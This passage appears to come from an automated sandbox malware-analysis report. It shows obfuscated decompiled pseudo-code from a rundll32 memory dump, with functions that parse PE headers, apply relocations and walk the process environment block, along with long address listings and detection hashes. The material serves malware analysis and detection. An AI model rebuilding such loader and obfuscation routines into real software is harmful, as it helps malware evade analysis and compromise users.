						_t368 = _t545 + 0x41c46f; // 0x41c46f
						 *(_t704 - 0x14) = 0;
						 *_t723 =  *_t723 ^ _t368;
						_t484 =  *((intOrPtr*)(_t545 + 0x41f060))( *(_t704 - 0x14),  *(_t704 - 0x14));
						_pop( *_t372);
						_t585 = (_t583 & 0x00000000) +  *(_t704 - 0x10);
						 *_t374 = _t484;
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t585;
						_push( *(_t704 - 0x14));
						_pop(_t485);
						_t547 = _t545;
						 *(_t704 - 0x10) = _t648;
						_t574 = _t585 & 0x00000000 ^ _t648 -  *(_t704 - 0x10) ^  *(_t547 + 0x41c9d0);
						_t645 =  *(_t704 - 0x10);
						if(_t574 > _t485) {
							_t382 = _t547 + 0x41c197; // 0x41c197
							 *_t723 =  *_t723 & 0x00000000;
							 *_t723 =  *_t723 + _t382;
							_t383 = _t547 + 0x41c46f; // 0x41c46f
							 *(_t704 - 0x10) = 0;
							 *_t723 =  *_t723 ^ _t383;
							_t485 =  *((intOrPtr*)(_t547 + 0x41f064))( *(_t704 - 0x10), _t681);
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) & 0x00000000;
							 *(_t547 + 0x41cfe1) =  *(_t547 + 0x41cfe1) | _t704 ^  *_t723 ^ _t485;
							_t704 = _t704;
						}
						_t721 =  &(_t723[1]);
						 *_t721 =  *_t721 ^ _t704;
						 *_t721 = _t681;
						 *_t721 = _t485 & 0x00000000 |  *_t723;
						_t490 = 0;
						 *_t721 = _t622;
						 *((intOrPtr*)( *((intOrPtr*)(_t704 - 8)))) = _t490;
						_t625 = 0;
						 *_t392 = _t704;
						 *_t721 = 4;
						_t491 = _t547;
						 *_t394 = 0 ^  *(_t704 - 0x14);
						 *(_t704 - 0x14) =  *(_t704 - 0x14) + _t491;
						_t675 =  *(_t704 - 0x14);
						_t616 = _t625;
						 *_t399 =  *((intOrPtr*)(_t704 - 8));
						 *(_t704 - 0x10) =  *(_t704 - 0x10) + _t491;
						 *_t403 =  *(_t704 - 0x10);
						_t538 = _t547;
						if( *_t675 != 0) {
							goto L9;
						}
						goto L21;
					}
				}
			}




















































































































                                                                          0x00125a25
                                                                          0x00125a25
                                                                          0x00125a25
                                                                          0x00125a2b
                                                                          0x00125a2c
                                                                          0x00125a30
                                                                          0x00125a33
                                                                          0x00125a39
                                                                          0x00125a40
                                                                          0x00125a46
                                                                          0x00125a49
                                                                          0x00125a49
                                                                          0x00125a4d
                                                                          0x00125a51
                                                                          0x00125a59
                                                                          0x00125a5c
                                                                          0x00125a5f
                                                                          0x00125a67
                                                                          0x00125a6e
                                                                          0x00125a74
                                                                          0x00125a75
                                                                          0x00125a7f
                                                                          0x00125a83
                                                                          0x00125a8d
                                                                          0x00125a91
                                                                          0x00125a94
                                                                          0x00125a9a
                                                                          0x00125aa1
                                                                          0x00125aa7
                                                                          0x00125aaa
                                                                          0x00125ab8
                                                                          0x00125abb
                                                                          0x00125ac5
                                                                          0x00125ac9
                                                                          0x00125acc
                                                                          0x00125ad2
                                                                          0x00125ada
                                                                          0x00125ae1
                                                                          0x00125ae7
                                                                          0x00125aea
                                                                          0x00125aea
                                                                          0x00125af8
                                                                          0x00125afb
                                                                          0x00125b01
                                                                          0x00125b0b
                                                                          0x00125b0e
                                                                          0x00125b17
                                                                          0x00125b1a
                                                                          0x00125b23
                                                                          0x00125b26
                                                                          0x00125b35
                                                                          0x00125b3a
                                                                          0x00125b3e
                                                                          0x00125b41
                                                                          0x00125b43
                                                                          0x00125b44
                                                                          0x00125b4f
                                                                          0x00125b51
                                                                          0x00125b56
                                                                          0x00125b58
                                                                          0x00125b5f
                                                                          0x00125b63
                                                                          0x00125b66
                                                                          0x00125b6c
                                                                          0x00125b73
                                                                          0x00125b76
                                                                          0x00125b76
                                                                          0x00125b7d
                                                                          0x00125b83
                                                                          0x00125b8e
                                                                          0x00125b92
                                                                          0x00125b93
                                                                          0x00125b9c
                                                                          0x00125b9f
                                                                          0x00125ba5
                                                                          0x00125baf
                                                                          0x00125bb2
                                                                          0x00125bbe
                                                                          0x00125bc5
                                                                          0x00125bcb
                                                                          0x00125bcc
                                                                          0x00125bda
                                                                          0x00125bde
                                                                          0x00125be1
                                                                          0x00125be4
                                                                          0x00125beb
                                                                          0x00125bee
                                                                          0x00125bf1
                                                                          0x00125bf7
                                                                          0x00125bfe
                                                                          0x00125c01
                                                                          0x00125c07
                                                                          0x00125c0f
                                                                          0x00125c16
                                                                          0x00125c1c
                                                                          0x00125c28
                                                                          0x00125c2b
                                                                          0x00125c35
                                                                          0x00125c38
                                                                          0x00125c3e
                                                                          0x00125c48
                                                                          0x00125c4b
                                                                          0x00125c52
                                                                          0x00125c56
                                                                          0x00125c59
                                                                          0x00125c65
                                                                          0x00125c6c
                                                                          0x00125c72
                                                                          0x00125c73
                                                                          0x00125c79
                                                                          0x00125c83
                                                                          0x00125c86
                                                                          0x00125c8c
                                                                          0x00125c96
                                                                          0x00125c99
                                                                          0x00125c9f
                                                                          0x00125ca9
                                                                          0x00125cac
                                                                          0x00125cb2
                                                                          0x00125cbc
                                                                          0x00125cbf
                                                                          0x00125ccb
                                                                          0x00125cce
                                                                          0x00125cd5
                                                                          0x00125cd8
                                                                          0x00125cdb
                                                                          0x00125cde
                                                                          0x00125cdf
                                                                          0x00125ce0
                                                                          0x00125cef
                                                                          0x00125cf1
                                                                          0x00125cf6
                                                                          0x00125cf8
                                                                          0x00125cff
                                                                          0x00125d03
                                                                          0x00125d06
                                                                          0x00125d0c
                                                                          0x00125d16
                                                                          0x00125d19
                                                                          0x00125d25
                                                                          0x00125d2c
                                                                          0x00125d32
                                                                          0x00125d32
                                                                          0x00125d3c
                                                                          0x00125d40
                                                                          0x00125d43
                                                                          0x00125d48
                                                                          0x00125d52
                                                                          0x00125d55
                                                                          0x00125d5c
                                                                          0x00125d5e
                                                                          0x00125d61
                                                                          0x00125d68
                                                                          0x00125d6f
                                                                          0x00125d74
                                                                          0x00125d77
                                                                          0x00125d7d
                                                                          0x00125d7e
                                                                          0x00125d85
                                                                          0x00125d88
                                                                          0x00125d8e
                                                                          0x00125d91
                                                                          0x00125d95
                                                                          0x00000000
                                                                          0x00000000
                                                                          0x00125d9b
                                                                          0x00125da4
                                                                          0x00125da6
                                                                          0x00125daa
                                                                          0x00125314
                                                                          0x00125405
                                                                          0x0012540b
                                                                          0x0012540c
                                                                          0x00125413
                                                                          0x00125417
                                                                          0x0012541a
                                                                          0x00125421
                                                                          0x00125424
                                                                          0x00125427
                                                                          0x00125433
                                                                          0x0012543a
                                                                          0x00125440
                                                                          0x0012531a
                                                                          0x0012531a
                                                                          0x00125320
                                                                          0x0012532a
                                                                          0x0012532d
                                                                          0x00125333
                                                                          0x0012533a
                                                                          0x00125343
                                                                          0x00125346
                                                                          0x00125349
                                                                          0x0012534c
                                                                          0x0012534d
                                                                          0x00125356
                                                                          0x00125359
                                                                          0x00125365
                                                                          0x0012536c
                                                                          0x00125372
                                                                          0x00125372
                                                                          0x00125445
                                                                          0x00125445
                                                                          0x00125448
                                                                          0x0012544f
                                                                          0x00125452
                                                                          0x00125455
                                                                          0x0012545d
                                                                          0x00125464
                                                                          0x0012546a
                                                                          0x0012546b
                                                                          0x0012546e
                                                                          0x00125477
                                                                          0x0012547a
                                                                          0x00125480
                                                                          0x00125487
                                                                          0x0012548a
                                                                          0x00125491
                                                                          0x00125495
                                                                          0x00125498
                                                                          0x001254a0
                                                                          0x001254a3
                                                                          0x001254aa
                                                                          0x001254ad
                                                                          0x001254b0
                                                                          0x001254b3
                                                                          0x001254b4
                                                                          0x001254b5
                                                                          0x001254c4
                                                                          0x001254c6
                                                                          0x001254cb
                                                                          0x001254cd
                                                                          0x001254d6
                                                                          0x001254d9
                                                                          0x001254df
                                                                          0x001254e6
                                                                          0x001254e9
                                                                          0x001254e9
                                                                          0x001254ef
                                                                          0x001254f7
                                                                          0x001254fe
                                                                          0x00125504
                                                                          0x00125507
                                                                          0x00125515
                                                                          0x00125519
                                                                          0x0012551d
                                                                          0x00125520
                                                                          0x00125527
                                                                          0x0012552b
                                                                          0x0012552e
                                                                          0x00125535
                                                                          0x00125539
                                                                          0x0012553c
                                                                          0x00125542
                                                                          0x0012554a
                                                                          0x00125551
                                                                          0x00125557
                                                                          0x0012555a
                                                                          0x00125562
                                                                          0x00125565
                                                                          0x00125568
                                                                          0x0012556b
                                                                          0x0012556e
                                                                          0x0012556f
                                                                          0x00125576
                                                                          0x00125579
                                                                          0x0012557c
                                                                          0x00125582
                                                                          0x0012558c
                                                                          0x00125595
                                                                          0x00125596
                                                                          0x00125599
                                                                          0x0012559c
                                                                          0x001255a2
                                                                          0x001255a5
                                                                          0x001255a8
                                                                          0x001255ab
                                                                          0x001255ad
                                                                          0x001255b1
                                                                          0x001255b4
                                                                          0x001255bb
                                                                          0x001255be
                                                                          0x001255c1
                                                                          0x001255c7
                                                                          0x001255cf
                                                                          0x001255d6
                                                                          0x001255dc
                                                                          0x001255e8
                                                                          0x001255eb
                                                                          0x001255ed
                                                                          0x001255f0
                                                                          0x001255f1
                                                                          0x001255fb
                                                                          0x001255fe
                                                                          0x00125607
                                                                          0x0012560a
                                                                          0x00125611
                                                                          0x00125614
                                                                          0x00125617
                                                                          0x0012561d
                                                                          0x00125624
                                                                          0x00125627
                                                                          0x0012562f
                                                                          0x00125632
                                                                          0x00125635
                                                                          0x0012563c
                                                                          0x0012563d
                                                                          0x00125640
                                                                          0x0012564e
                                                                          0x00125650
                                                                          0x00125653
                                                                          0x00125655
                                                                          0x0012565b
                                                                          0x00125662
                                                                          0x00125665
                                                                          0x0012566b
                                                                          0x00125675
                                                                          0x00125678
                                                                          0x0012567e
                                                                          0x00125685
                                                                          0x0012568b
                                                                          0x0012568b
                                                                          0x00125694
                                                                          0x0012569c
                                                                          0x001256a0
                                                                          0x001256a4
                                                                          0x001256a6
                                                                          0x001256a8
                                                                          0x001256ac
                                                                          0x001256af
                                                                          0x001256b8
                                                                          0x001256bb
                                                                          0x001256c2
                                                                          0x001256c6
                                                                          0x001256c9
                                                                          0x001256cf
                                                                          0x001256d6
                                                                          0x001256dc
                                                                          0x001256e1
                                                                          0x001256e4
                                                                          0x001256e8
                                                                          0x001256eb
                                                                          0x001256ee
                                                                          0x001256f4
                                                                          0x001256fe
                                                                          0x00125701
                                                                          0x00125707
                                                                          0x0012570f
                                                                          0x00125716
                                                                          0x0012571f
                                                                          0x00125725
                                                                          0x0012572f
                                                                          0x00125732
                                                                          0x00125738
                                                                          0x00125742
                                                                          0x00125745
                                                                          0x0012574b
                                                                          0x00125753
                                                                          0x0012575a
                                                                          0x00125760
                                                                          0x0012576c
                                                                          0x0012576f
                                                                          0x00125777
                                                                          0x0012577b
                                                                          0x0012577e
                                                                          0x00125781
                                                                          0x0012578a
                                                                          0x0012578d
                                                                          0x00125794
                                                                          0x00125797
                                                                          0x0012579a
                                                                          0x001257a0
                                                                          0x001257a7
                                                                          0x001257ad
                                                                          0x00000000
                                                                          0x001257ad
                                                                          0x00125dbb
                                                                          0x00125dbe
                                                                          0x00125dd0
                                                                          0x001257b0
                                                                          0x001257b6
                                                                          0x00000000
                                                                          0x001257bc
                                                                          0x001257bc
                                                                          0x001257c3
                                                                          0x001257c6
                                                                          0x001257c9
                                                                          0x001257cf
                                                                          0x001257d9
                                                                          0x001257dc
                                                                          0x001257e3
                                                                          0x001257e6
                                                                          0x001257e9
                                                                          0x001257f5
                                                                          0x001257f8
                                                                          0x001257fd
                                                                          0x00125801
                                                                          0x00125804
                                                                          0x00125806
                                                                          0x00125807
                                                                          0x00125816
                                                                          0x00125818
                                                                          0x0012581d
                                                                          0x0012581f
                                                                          0x00125826
                                                                          0x0012582a
                                                                          0x0012582d
                                                                          0x00125836
                                                                          0x00125839
                                                                          0x00125839
                                                                          0x00125845
                                                                          0x0012584c
                                                                          0x00125852
                                                                          0x00125854
                                                                          0x00125858
                                                                          0x0012585b
                                                                          0x00125864
                                                                          0x0012586d
                                                                          0x0012586e
                                                                          0x00125871
                                                                          0x00125874
                                                                          0x0012587a
                                                                          0x0012587c
                                                                          0x00125883
                                                                          0x00125887
                                                                          0x0012588a
                                                                          0x00125890
                                                                          0x0012589a
                                                                          0x0012589d
                                                                          0x001258a3
                                                                          0x001258aa
                                                                          0x001258ad
                                                                          0x001258b9
                                                                          0x001258bc
                                                                          0x001258c3
                                                                          0x001258c6
                                                                          0x001258c9
                                                                          0x001258cc
                                                                          0x001258cd
                                                                          0x001258ce
                                                                          0x001258dd
                                                                          0x001258df
                                                                          0x001258e4
                                                                          0x001258e6
                                                                          0x001258ef
                                                                          0x001258f2
                                                                          0x001258f9
                                                                          0x001258fd
                                                                          0x00125900
                                                                          0x00125900
                                                                          0x00125908
                                                                          0x0012590f
                                                                          0x00125915
                                                                          0x00125918
                                                                          0x0012591c
                                                                          0x00125920
                                                                          0x00125922
                                                                          0x00125923
                                                                          0x00125929
                                                                          0x00125930
                                                                          0x00125933
                                                                          0x00125939
                                                                          0x00125943
                                                                          0x00125946
                                                                          0x0012594c
                                                                          0x00125954
                                                                          0x0012595b
                                                                          0x0012596f
                                                                          0x00125970
                                                                          0x00125977
                                                                          0x0012597b
                                                                          0x0012597e
                                                                          0x00125987
                                                                          0x0012598a
                                                                          0x00125996
                                                                          0x0012599d
                                                                          0x001259a3
                                                                          0x001259a4
                                                                          0x001259a5
                                                                          0x001259a8
                                                                          0x001259ab
                                                                          0x001259ae
                                                                          0x001259b4
                                                                          0x001259bb
                                                                          0x001259be
                                                                          0x001259c7
                                                                          0x001259ca
                                                                          0x001259d2
                                                                          0x001259d9
                                                                          0x001259df
                                                                          0x001259e2
                                                                          0x001259e5
                                                                          0x001259e8
                                                                          0x001259ef
                                                                          0x001259f3
                                                                          0x001259f6
                                                                          0x001259ff
                                                                          0x00125a02
                                                                          0x00125a08
                                                                          0x00125a10
                                                                          0x00125a17
                                                                          0x00125a1d
                                                                          0x00125a1d
                                                                          0x00125aea
                                                                          0x00125af8
                                                                          0x00125afb
                                                                          0x00125b01
                                                                          0x00125b0b
                                                                          0x00125b0e
                                                                          0x00125b17
                                                                          0x00125b1a
                                                                          0x00125b23
                                                                          0x00125b26
                                                                          0x00125b35
                                                                          0x00125b3a
                                                                          0x00125b3e
                                                                          0x00125b41
                                                                          0x00125b43
                                                                          0x00125b44
                                                                          0x00125b4f
                                                                          0x00125b51
                                                                          0x00125b56
                                                                          0x00125b58
                                                                          0x00125b5f
                                                                          0x00125b63
                                                                          0x00125b66
                                                                          0x00125b6c
                                                                          0x00125b73
                                                                          0x00125b76
                                                                          0x00125b76
                                                                          0x00125b7d
                                                                          0x00125b83
                                                                          0x00125b8e
                                                                          0x00125b92
                                                                          0x00125b93
                                                                          0x00125b9c
                                                                          0x00125b9f
                                                                          0x00125ba5
                                                                          0x00125baf
                                                                          0x00125bb2
                                                                          0x00125bbe
                                                                          0x00125bc5
                                                                          0x00125bcb
                                                                          0x00125bcc
                                                                          0x00125bda
                                                                          0x00125bde
                                                                          0x00125be1
                                                                          0x00125be4
                                                                          0x00125beb
                                                                          0x00125bee
                                                                          0x00125bf1
                                                                          0x00125bf7
                                                                          0x00125bfe
                                                                          0x00125c01
                                                                          0x00125c07
                                                                          0x00125c0f
                                                                          0x00125c16
                                                                          0x00125c1c
                                                                          0x00125c28
                                                                          0x00125c2b
                                                                          0x00125c35
                                                                          0x00125c38
                                                                          0x00125c3e
                                                                          0x00125c48
                                                                          0x00125c4b
                                                                          0x00125c52
                                                                          0x00125c56
                                                                          0x00125c59
                                                                          0x00125c65
                                                                          0x00125c6c
                                                                          0x00125c72
                                                                          0x00125c73
                                                                          0x00125c79
                                                                          0x00125c83
                                                                          0x00125c86
                                                                          0x00125c8c
                                                                          0x00125c96
                                                                          0x00125c99
                                                                          0x00125c9f
                                                                          0x00125ca9
                                                                          0x00125cac
                                                                          0x00125cb2
                                                                          0x00125cbc
                                                                          0x00125cbf
                                                                          0x00125ccb
                                                                          0x00125cce
                                                                          0x00125cd5
                                                                          0x00125cd8
                                                                          0x00125cdb
                                                                          0x00125cde
                                                                          0x00125cdf
                                                                          0x00125ce0
                                                                          0x00125cef
                                                                          0x00125cf1
                                                                          0x00125cf6
                                                                          0x00125cf8
                                                                          0x00125cff
                                                                          0x00125d03
                                                                          0x00125d06
                                                                          0x00125d0c
                                                                          0x00125d16
                                                                          0x00125d19
                                                                          0x00125d25
                                                                          0x00125d2c
                                                                          0x00125d32
                                                                          0x00125d32
                                                                          0x00125d3c
                                                                          0x00125d40
                                                                          0x00125d43
                                                                          0x00125d48
                                                                          0x00125d52
                                                                          0x00125d55
                                                                          0x00125d5c
                                                                          0x00125d5e
                                                                          0x00125d61
                                                                          0x00125d68
                                                                          0x00125d6f
                                                                          0x00125d74
                                                                          0x00125d77
                                                                          0x00125d7d
                                                                          0x00125d7e
                                                                          0x00125d85
                                                                          0x00125d88
                                                                          0x00125d8e
                                                                          0x00125d91
                                                                          0x00125d95
                                                                          0x00000000
                                                                          0x00000000
                                                                          0x00000000
                                                                          0x00125d95
                                                                          0x00125aea

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: b22095e20c329f7d375c50b2b4e61b093e339a4e4c2e62bd3b86910ad18266d0
                                                                          • Instruction ID: e113b94e8aa68d14cb9f96f05d6ae1a7db7916c1d9dc4ff38ea351258a4a0a5d
                                                                          • Opcode Fuzzy Hash: b22095e20c329f7d375c50b2b4e61b093e339a4e4c2e62bd3b86910ad18266d0
                                                                          • Instruction Fuzzy Hash: ABC13472844219DFEF04DFA0C8897EEBBF5FF08310F15486DD989AA145D3742664CBA9
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00122FAF, Relevance: .2, Instructions: 210COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 76%
                                                                          			E00122FAF(void* __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, void* __esi, signed int _a4) {
				char _v2;
				signed int _v8;
				signed int _v12;
				signed int _v16;
				signed int _t60;
				signed int _t62;
				void* _t63;
				void* _t64;
				signed int _t65;
				signed int _t68;
				signed int _t74;
				void* _t77;
				signed int _t80;
				void* _t81;
				void* _t83;
				void* _t86;
				void* _t90;
				void* _t92;
				void* _t93;
				void* _t95;
				signed int _t98;
				signed int _t102;
				signed int _t103;
				signed int _t105;
				signed int _t107;
				signed int _t108;
				signed int _t109;
				signed int _t111;
				signed int _t114;
				void* _t117;
				signed int _t120;
				signed int _t127;
				void* _t128;
				signed int _t130;
				signed int _t133;
				signed int _t140;
				signed int _t143;
				signed int _t145;
				void* _t148;
				signed int _t150;
				signed int _t151;
				signed int _t154;
				signed int _t156;
				void* _t161;
				signed int _t163;
				signed int _t164;
				void* _t167;
				signed int _t169;
				void* _t170;
				signed int* _t173;

				_t114 = __edx;
				_v16 = 0;
				_push(_v16);
				 *_t173 =  *_t173 + __esi;
				_v16 = _v16 & 0x00000000;
				_push(_v16);
				 *_t173 =  *_t173 | __edi;
				_push(__esi);
				_t140 =  *_t173;
				 *_t173 =  *(__ebx + 0x41c166);
				_pop( *_t8);
				_v16 = __ebx;
				_t74 = _v16;
				_t163 = _a4 | _a4;
				_t127 = _t163;
				_t164 = _t161;
				if(_t163 != 0) {
					 *_t173 = __ecx;
					_t90 = _t127;
					_t128 = _t90 +  *((intOrPtr*)(_t127 + 0x3c));
					_t92 = 0;
					 *_t14 =  *((intOrPtr*)(_t128 + 0x34));
					_push(_v16);
					_pop(_t60);
					_v12 = _v12 - _t60;
					_t77 = _t74;
					_v16 = _t140;
					_v8 = _v8 & 0x00000000;
					_v8 = _v8 | _t140 & 0x00000000 ^ _t60;
					_t143 = _v16;
					 *_t173 =  *_t173 + _t92;
					_t93 = _t128;
					_t95 = 0;
					_t130 = _t93 + ( *(_t128 + 0x14) & 0x0000ffff) + 0xffffffc0;
					_t98 = _t95;
					 *_t173 = _t164;
					_t62 =  *_t130;
					_t167 = 0;
					 *_t173 =  *_t173 | _t62;
					_t63 = _t62;
					if( *_t173 != 0) {
						_t80 = _t77;
						 *_t27 = _t63;
						_v16 = _v16 + _v12;
						_push(_v16);
						_pop(_t64);
						_t145 = _t143;
						_push(_t98 & 0x00000000 ^ (_t77 -  *_t173 |  *(_t130 + 4)));
						 *_t32 = _t64;
						_v16 = _v16 + _v8;
						_push(_v16);
						_pop(_t65);
						_pop(_t102);
						_t133 = _t130;
						_v16 = _t65;
						_push(_v12 + (_t145 & 0x00000000 | _t130 & 0x00000000 ^ _v8));
						_t68 = _v16;
						_pop(_t148);
						while(1) {
							_t150 = _t102 | _t102;
							_t103 = _t150;
							_t151 = _t148;
							if(_t150 == 0) {
								goto L12;
							}
							_t117 = _t114;
							 *_t173 =  *_t173 ^ _t80;
							_push(_t133 & 0x00000000 | _t114 & 0x00000000 |  *_t68);
							_pop(_t81);
							_t133 = _t81 + _t151;
							_t83 = 0;
							_v16 = _v16 & 0x00000000;
							_push(_v16);
							 *_t173 =  *_t173 | _t103;
							_v16 = _t151;
							_t105 = _t103 & 0x00000000 | _t151 - _v16 ^  *(_t68 + 4);
							_t154 = _v16;
							_v16 = 0;
							_push(_v16);
							 *_t173 =  *_t173 + _t105;
							_t86 = _t83;
							_t107 = _t105 + 0xfffffff8 >> 1;
							_t68 = _t68 + 8;
							_t120 = _t117;
							while(1) {
								_t156 = _t107 | _t107;
								_t108 = _t156;
								_t154 = _t154;
								if(_t156 == 0) {
									break;
								}
								_v16 = 0;
								_push(_v16);
								 *_t173 =  *_t173 | _t108;
								 *_t173 = 0xf000;
								_t109 = _t133;
								_t111 = 0 ^  *_t173;
								_t173 =  &(_t173[1]);
								_t169 =  *_t68 & 0x0000ffff & _t109 |  *_t68 & 0x0000ffff & _t109;
								_t120 = _t169;
								_t170 = _t167;
								if(_t169 != 0) {
									_t120 =  *_t68 & 0xfff;
									_push(_v16);
									 *_t173 = _t68;
									_t154 = _t154;
									 *((intOrPtr*)(_t120 + _t133)) =  *((intOrPtr*)(_t120 + _t133)) + (_t68 & 0x00000000 | _t154 & 0x00000000 | _v12);
									_pop( *_t55);
									_t68 = _v16;
								}
								_t68 =  &_v2;
								_t167 = _t170;
								_t107 = _t111 - 1;
							}
							_t114 = _t120 & 0x00000000 ^  *_t173;
							_t173 =  &(_t173[1]);
							_pop( *_t57);
							_t102 = (_t108 & 0x00000000 ^ _v16) - _t114;
							_t80 = _t86;
						}
					} else {
					}
				} else {
				}
				L12:
				return _t68;
			}





















































                                                                          0x00122faf
                                                                          0x00122fb5
                                                                          0x00122fbc
                                                                          0x00122fbf
                                                                          0x00122fc2
                                                                          0x00122fc6
                                                                          0x00122fc9
                                                                          0x00122fcc
                                                                          0x00122fd3
                                                                          0x00122fd3
                                                                          0x00122fd6
                                                                          0x00122fd9
                                                                          0x00122fe3
                                                                          0x00122fe9
                                                                          0x00122feb
                                                                          0x00122fed
                                                                          0x00122fee
                                                                          0x00122ff7
                                                                          0x00122ffb
                                                                          0x00122fff
                                                                          0x00123001
                                                                          0x00123005
                                                                          0x00123008
                                                                          0x0012300b
                                                                          0x00123012
                                                                          0x00123015
                                                                          0x00123016
                                                                          0x0012301e
                                                                          0x00123022
                                                                          0x00123025
                                                                          0x0012302e
                                                                          0x00123032
                                                                          0x00123037
                                                                          0x00123041
                                                                          0x00123043
                                                                          0x00123046
                                                                          0x0012304d
                                                                          0x0012304f
                                                                          0x00123051
                                                                          0x00123054
                                                                          0x00123055
                                                                          0x00123068
                                                                          0x0012306e
                                                                          0x00123071
                                                                          0x00123074
                                                                          0x00123077
                                                                          0x00123078
                                                                          0x00123079
                                                                          0x0012307e
                                                                          0x00123081
                                                                          0x00123084
                                                                          0x00123087
                                                                          0x00123088
                                                                          0x00123095
                                                                          0x00123096
                                                                          0x0012309e
                                                                          0x0012309f
                                                                          0x001230a2
                                                                          0x0012318d
                                                                          0x00123190
                                                                          0x00123192
                                                                          0x00123194
                                                                          0x00123195
                                                                          0x00000000
                                                                          0x00000000
                                                                          0x001230b3
                                                                          0x001230b6
                                                                          0x001230b9
                                                                          0x001230ba
                                                                          0x001230bd
                                                                          0x001230bf
                                                                          0x001230c0
                                                                          0x001230c4
                                                                          0x001230c7
                                                                          0x001230ca
                                                                          0x001230d6
                                                                          0x001230d8
                                                                          0x001230db
                                                                          0x001230e2
                                                                          0x001230e5
                                                                          0x001230f3
                                                                          0x001230f4
                                                                          0x001230ff
                                                                          0x00123101
                                                                          0x00123163
                                                                          0x00123166
                                                                          0x00123168
                                                                          0x0012316a
                                                                          0x0012316b
                                                                          0x00000000
                                                                          0x00000000
                                                                          0x00123107
                                                                          0x0012310e
                                                                          0x00123111
                                                                          0x00123115
                                                                          0x0012311c
                                                                          0x00123121
                                                                          0x00123124
                                                                          0x0012312a
                                                                          0x0012312c
                                                                          0x0012312e
                                                                          0x0012312f
                                                                          0x00123134
                                                                          0x0012313a
                                                                          0x0012313d
                                                                          0x0012314c
                                                                          0x0012314d
                                                                          0x00123150
                                                                          0x00123153
                                                                          0x00123153
                                                                          0x0012315f
                                                                          0x00123161
                                                                          0x00123162
                                                                          0x00123162
                                                                          0x00123173
                                                                          0x00123176
                                                                          0x0012317f
                                                                          0x0012318a
                                                                          0x0012318c
                                                                          0x0012318c
                                                                          0x00000000
                                                                          0x00123057
                                                                          0x00000000
                                                                          0x00122ff0
                                                                          0x0012319b
                                                                          0x001231b0

                                                                          Memory Dump Source
                                                                          • Source File: 00000006.00000002.2275594162.0000000000120000.00000040.00000001.sdmp, Offset: 00120000, based on PE: true
                                                                          Joe Sandbox IDA Plugin
                                                                          • Snapshot File: hcaresult_6_2_120000_rundll32.jbxd
                                                                          Similarity
                                                                          • API ID:
                                                                          • String ID:
                                                                          • API String ID:
                                                                          • Opcode ID: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
                                                                          • Instruction ID: 6e4b2caf5ecb3bbe55f7789d5b4adf69e470290faafcb7117a4f1870aa9868a0
                                                                          • Opcode Fuzzy Hash: d1f32643c1a337532a551df5e7dd1d687da03bae7b11c336c53ee130eebd2aab
                                                                          • Instruction Fuzzy Hash: 7E618673E04618AFEB049FD9EC457ADFBB5EF44720F15817EE594A3280D7B829108B94
                                                                          Uniqueness

                                                                          Uniqueness Score: -1.00%

                                                                          Function 00122A69, Relevance: .2, Instructions: 161COMMONCrypto
                                                                          Download Yara Rule
                                                                          C-Code - Quality: 61%
                                                                          			E00122A69(signed int __eax, signed int __ebx, signed int __ecx, signed int __edx, signed int __edi, signed int __esi) {
				intOrPtr _v8;
				signed int _v12;
				signed int _v16;
				signed int _t52;
				signed int _t54;
				signed int _t56;
				intOrPtr _t63;
				signed int _t70;
				signed int _t75;
				signed int _t88;
				signed int _t91;
				signed int _t105;
				signed int _t109;
				signed int _t112;
				signed int _t125;
				void* _t129;
				signed int* _t140;

				_push(_v16);
				 *_t140 = __eax;
				_push(__edi);
				 *_t140 =  *_t140 ^ __edi;
				 *_t140 =  *_t140 ^ __ecx;
				_push(_v12);
				 *_t140 = __edx;
				_push(__ecx);
				 *_t140 =  *_t140 ^ __ecx;
				 *_t140 =  *_t140 + __edi;
				_push(__ecx);
				 *_t140 =  *_t140 - __ecx;
				 *_t140 = __esi;
				if( *((intOrPtr*)(__ebx + 0x41ce4a)) != 1) {
					_v16 = __edx;
					_t103 = 0 ^  *(__ebx + 0x41c3f9);
					_push(__esi);
					_pop(_t125);
					_v16 = _t125;
					_t105 =  *(__ebx + 0x41c166) +  *((intOrPtr*)((__eax & 0x00000000 | __esi & 0x00000000 ^  *((0 ^  *(__ebx + 0x41c3f9)) + 0x3c)) + _t103 + 0x28));
					 *_t17 = _t105;
					_push(_v8);
					_pop(_t88);
					_t107 = _t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166);
					_t91 = _t88;
					 *_t140 = __ecx;
					_t70 = 0;
					_push(0);
					 *_t140 =  *_t140 ^ _v16;
					_push( *((intOrPtr*)((0 ^  *((_t105 & 0x00000000 | _t88 & 0x00000000 ^  *(__ebx + 0x41c166)) + 0x3c)) + _t107 + 0x28)));
					_pop(_t129);
					_t109 = _t129 +  *(__ebx + 0x41c166);
					_v12 = _t70;
					_t52 = 0 ^ _t109;
					 *_t140 = _t109;
					_t112 = 0;
					_push(__ebx);
					_t75 = _v12 & 0x00000000 ^ __ebx & 0x00000000 ^  *( *((intOrPtr*)((0 ^  *[fs:0x30]) + 0xc)) + 0xc);
					__eflags = _t75;
					_pop(_t63);
					while(1) {
						_t112 = _t112 & 0x00000000 ^ _t91 ^  *_t140 ^  *(_t75 + 0x1c);
						_t91 = _t91;
						__eflags = _t52 - _t112;
						if(_t52 == _t112) {
							break;
						}
						__eflags = _t91 - _t112;
						if(__eflags != 0) {
							_t75 =  *(_t75 + 4);
							if(__eflags != 0) {
								continue;
							} else {
								 *((intOrPtr*)(_t63 + 0x41ce4a)) = 1;
								_pop( *_t42);
								_pop( *_t44);
								_pop( *_t46);
								_t54 = _t52 & 0x00000000 ^ _t140[1];
								__eflags = _t54;
								return _t54;
							}
						} else {
							_pop( *_t36);
							_pop( *_t38);
							_t56 = _t52 & 0x00000000 |  *(_t140 - 0xfffffffc + 4);
							__eflags = _t56;
							return _t56;
						}
						goto L9;
					}
					_v8 = _t63;
					 *(_t75 + 0x1c) = _t91;
					_pop( *_t32);
